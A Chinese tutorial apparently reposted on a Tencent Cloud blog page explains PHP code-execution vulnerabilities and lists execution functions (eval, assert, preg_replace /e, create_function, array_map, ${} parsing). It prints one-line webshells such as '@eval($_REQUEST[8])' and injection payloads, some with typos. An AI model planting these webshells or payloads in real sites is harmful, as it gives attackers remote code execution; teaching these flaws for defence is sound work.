Loading [MathJax]/jax/element/mml/optable/GeneralPunctuation.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >php代码执行函数_php代码如何运行

php代码执行函数_php代码如何运行

作者头像
全栈程序员站长
发布于 2022-11-10 10:34:30
发布于 2022-11-10 10:34:30
16.1K00
代码可运行
举报
运行总次数:0
代码可运行

大家好,又见面了,我是你们的朋友全栈君。

**

php代码执行函数解析

**

​一、代码执行漏洞原理: 用户输入的数据被当做后端代码进行执行

<?php @eval($_REQUEST[8])?>//其实一句话木马的本质就是一个代码执行漏洞。用户输入的数据被当做代码进行执行。

这里提一下RCE(remote command/code execute)远程命令或者代码执行。现在只要渗透的最终情况可以实现执行命令或者是代码都属于RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以属于RCE 在PHP存在诸多函数可以做到代码执行。为了方便把要执行的代码写为$a

1.eval($a); //eval是代码执行用的最多的,他可以多行执行

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
eval(\$_REQUEST['a'];

2.assert(_REQEUST['a'])//如何多行执行呢 写文件然后执行,例如:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
file_put_contents('1.php','<?php var_dump(8);phpinfo();?>')

3.preg_replace() //正则替换函数, preg_replace(’/a/’,‘x’,‘abc’); Eg

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php echo preg_replace('/a/e',$_GET[8],'abc')?>

替换必须真实发生才会触发函数,不发生替换,不会触发。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
\$a = $_REQUEST['a'];
$f2 = create_function('',$a);
$f2();
?>

这里还可以不调用触发:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
\$a = $_REQUEST['a'];
$f2 = create_function('',$a);
//?a=}phpinfo();

5.array_map //回调函数调用某个函数。 下图是这个函数的用法,调用cube函数,传参

一句话木马:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
array_map('assert',array($_POST['a']))array_map($_REQUSET['b'],$_REQUEST);

Eval 是无法调用的,因为eval比较特殊,不认为是函数属于特殊写法 call_user_func() 也可以回调,回调函数在php有很多。

6.特殊组合(双引号二次解析) PHP版本5.5及其以上版本可以使用 “

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
${ 
   phpinfo()};
$a = ${ 
   phpinfo()};

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/188414.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年9月27日 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
21个必须知道的机器学习开源工具!
你肯定已经了解流行的开源工具,如R、Python、Jupyter笔记本等。但是,除了这些流行的工具之外还有一个世界——一个隐藏在机器学习工具下的地方。这些并不像他们的同行那样出色,但可以成为许多机器学习任务的救星。
AI科技大本营
2019/09/17
5590
21个必须知道的机器学习开源工具!
10款必备神器:机器学习开源工具助你从新手到高手
在厦门人工智能峰会上,依图科技联合创始人、CEO朱珑介绍到短短的5年时间机器的算法水平又提升了100万倍!过去或许只能从1万人中识别出1个人,后来发展到1000万、1亿、10亿甚至20亿人中识别出这个人!与此同时,算力方面提升了10万倍。从过去用1万量级规模的数据做训练,到百万规模的数据做训练,到现在用10亿的数据集做训练,又提升了1万倍!
Python数据科学
2019/08/15
6580
GitHub关于数据科学的六个强大的机器学习开源库
您是否有时侯觉得机器学习内容太广泛而无法紧跟脚步?当然会有这种感觉。下面是去年自然语言处理(NLP)的主要发展方向:
磐创AI
2019/07/17
7380
GitHub关于数据科学的六个强大的机器学习开源库
2020 年最具潜力 44 个顶级开源项目,涵盖 11 类 AI 学习框架、平台(值得收藏)
工欲善其事必先利其器,这也是大部分开发者在日常工作中最重要开发原则。选择与开发内容相匹配的工具,常常会使我们事半功倍。但面对人工智能的多个领域,如:机器学习、深度学习、NLP等等,多样的工具有时也让我们也无从选择。
AI算法与图像处理
2020/02/19
8800
2020 年最具潜力 44 个顶级开源项目,涵盖 11 类 AI 学习框架、平台(值得收藏)
Python3入门人工智能,掌握机器学习+深度学习(完结)
Python3入门人工智能,掌握机器学习与深度学习是一个系统而深入的过程,以下是一个详细的学习路径:
瘦瘦itazs和fun
2025/01/15
2440
10个用于人工智能的开源工具/框架
TensorFlow™是一个开源软件库,最初由研究Google Brain Team的研究人员和工程师开发。TensorFlow用于使用数据流图进行数值计算。图中的节点表示数学运算,而图表边表示在它们之间传递的多维数据阵列(张量)。灵活的体系结构允许您使用单个API将计算部署到桌面,服务器或移动设备中的一个或多个CPU或GPU。
February
2018/11/14
4.4K0
2016年不可错过的21个深度学习视频、教程和课程
几年之前,深度学习还是机器学习中一个不太受人关注的领域。随着最近神经网络和大数据概念的出现,很多复杂任务的实现已经成为可能。 目前,深度学习已经被应用到很多的领域当中,例如:语音识别、图像识别、在一个数据集当中寻找模式、照片中的事物分类、字符文本生成、自动驾驶汽车等等。因此,了解深度学习及其概念是非常重要的。 为了能够让你用一种更简单的方式学习深度学习,Analytics Vidhya 梳理了一些 2016 年关于深度学习的视频、教材和课程。其中包括深度学习暑期班、各类峰会和会议的讲座和教材。希
智能算法
2018/04/03
8470
2016年不可错过的21个深度学习视频、教程和课程
2018 年度 GtiHub 开源项目 TOP 25:数据科学 & 机器学习
关于托管代码、与团队成员合作以及充当展示个人写代码技能的「在线简历」,最好的平台是哪个?问及任何一位数据科学家,他们都会让你去 GitHub。近年来,GitHub 作为一个真正具有变革性的平台,已经改变了我们托管甚至写代码的方式。
AI科技评论
2019/10/31
4590
2018 年度 GtiHub 开源项目 TOP 25:数据科学 & 机器学习
最新机器学习开源项目Top10
【导读】过去一个月里,我们对近 1400 个机器学习项目进行了排名,并挑选出热度前 10 的项目。这份清单涵盖了包括 OpenAI 最新开发的 RND 算法、Uber 构建的第一个自然语言处理平台、由 Berkeley 研究人员提出的从视频内容中进行学习的 Acrobatics 框架、可以与 Amazon 的Echo 设备交互的 Anatomy 系统等。希望大家可以找到自己感兴趣的项目。
AI科技大本营
2018/12/17
3790
这些项目,入选了 2019 年最佳开源软件榜单!
InfoWorld 是致力于引领 IT 决策者走在科技前沿的国际科技媒体品牌,每年 InfoWorld 都会根据软件对开源界的贡献,以及在业界的影响力评选出当年的 “最佳开源软件”(2019 InfoWorld Bossie Awards,Best of Open Source Software awards),该奖项评选已经延续了十多年。
GitHubDaily
2019/11/22
1.3K0
这些项目,入选了 2019 年最佳开源软件榜单!
入门机器学习,照这个课程清单按顺序学就对了(附资源链接)
入门机器学习是一个循序渐进的过程,优质的学习资源和科学的学习路线缺一不可。在本文中,来自英伟达人工智能应用团队的计算机科学家 Chip Huyen 不仅列出了十大优质的免费机器学习课程资源,还将其串成了一条高效的学习路线。
CDA数据分析师
2019/08/12
9700
入门机器学习,照这个课程清单按顺序学就对了(附资源链接)
一份来自英伟达的越南小姐姐整理的机器学习入门清单,照这样学就对了
Chip Huyen 是一位来自越南的作家和计算机科学家,现居于美国硅谷,就职于英伟达人工智能应用团队。
Python数据科学
2019/08/08
7410
一份来自英伟达的越南小姐姐整理的机器学习入门清单,照这样学就对了
数据科学家不能错过的顶级 Github 代码仓库 &amp; Reddit 讨论串(六月榜单盘点)
2018 年已经过半,是时候来发布六月版的 GitHub 项目库和 Reddit 版块 TOP 榜单。在撰写本文的过程中,我已经学习了不少机器学习的知识,有从开源代码中学到的,也有从世界顶级数据科学头脑之间的宝贵讨论中学到的。
AI研习社
2018/08/06
6300
数据科学家不能错过的顶级 Github 代码仓库 &amp; Reddit 讨论串(六月榜单盘点)
一文看尽2018全年AI技术大突破
这一年成为NLP研究的分水岭,各种突破接连不断;CV领域同样精彩纷呈,与四年前相比GAN生成的假脸逼真到让人不敢相信;新工具、新框架的出现,也让这个领域的明天特别让人期待……
量子位
2018/12/28
7920
每个数据科学家都应该知道的顶级GitHub库和Reddit线程(2018年6月版)
半年过去了,这带来了我们流行系列的六月版的顶级GitHub存储库和Reddit线程。在撰写这些文章的过程中,我从开源代码或世界顶级数据科学大脑之间的宝贵讨论中学到了很多关于机器学习的知识。
AiTechYun
2018/07/27
5040
每个数据科学家都应该知道的顶级GitHub库和Reddit线程(2018年6月版)
浅谈人工智能的学习
人工智能(AI)的发展是一个从学术研究、行业验证、商业落地、行业平台到智能生态的一层层深入过程,这也是人工智能理想的发展阶段。人工智能的重要性无需赘述,对AI学习对我们来说同样重要,但是如何学习人工智能呢?
半吊子全栈工匠
2019/05/10
1.1K0
浅谈人工智能的学习
热门人工智能开源工具(框架)
TensorFlow™是一个开源软件库,最初由Google Brain Team的研究人员和工程师开发。TensorFlow使用数据流图进行数值计算。图中的节点表示数学运算,边表示它们之间通信的多维数据数组(张量)。其架构灵活,你可以使用单个API将计算部署到桌面、服务器或移动设备中的一个或多个CPU或GPU。
用户9925864
2022/07/27
8040
热门人工智能开源工具(框架)
干货!机器学习 必读论文 TOP 10
本文介绍了机器学习领域的一些重要论文和文章,包括AlphaGo的论文、高分辨率图像生成、胶囊网络、Netflix推荐系统、交叉验证、计算机视觉、自然语言处理等领域的相关研究。这些论文和文章对于机器学习的深入研究和发展具有重要的参考价值。
企鹅号小编
2018/01/04
1.2K0
干货!机器学习 必读论文 TOP 10
机器学习 TOP 10 必读论文 | 资源
翻译 | AI科技大本营 编辑 | Donna Medium上的机器学习深度爱好者必关注的账号Mybridge照例对11月发表的学术论文进行了排名,整理出了10篇必读论文,建议收藏深读。 1. Alpha Zero:用强化学习算法对中国象棋和国际象棋进行自我修炼(本论文作者包括DeepMind创始人Demis Hassabis) https://arxiv.org/pdf/1712.01815.pdf 2. 高分辨率图像合成和有条件的GANs的语义处理(该论文由UC Berkeley的Ming-Yu Liu
用户1737318
2018/06/05
6410
【干货荟萃】机器学习&深度学习知识资料大全集(二)(论文/教程/代码/书籍/数据/课程等)
【导读】转载来自ty4z2008(GItHub)整理的机器学习&深度学习知识资料大全荟萃,包含各种论文、代码、视频、书籍、文章、数据等等。是学习机器学习和深度学习的必备品! ty4z2008前言:希望转载的朋友,你可以不用联系我.但是一定要保留原文链接,因为这个项目还在继续也在不定期更新.希望看到文章的朋友能够学到更多.此外:某些资料在中国访问需要梯子. 昨天介绍了第一篇: 【干货荟萃】机器学习&深度学习知识资料大全集(一)(论文/教程/代码/书籍/数据/课程等) 今天第二篇: 《Image Scalin
WZEARW
2018/04/10
1.8K0
推荐阅读
相关推荐
21个必须知道的机器学习开源工具!
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验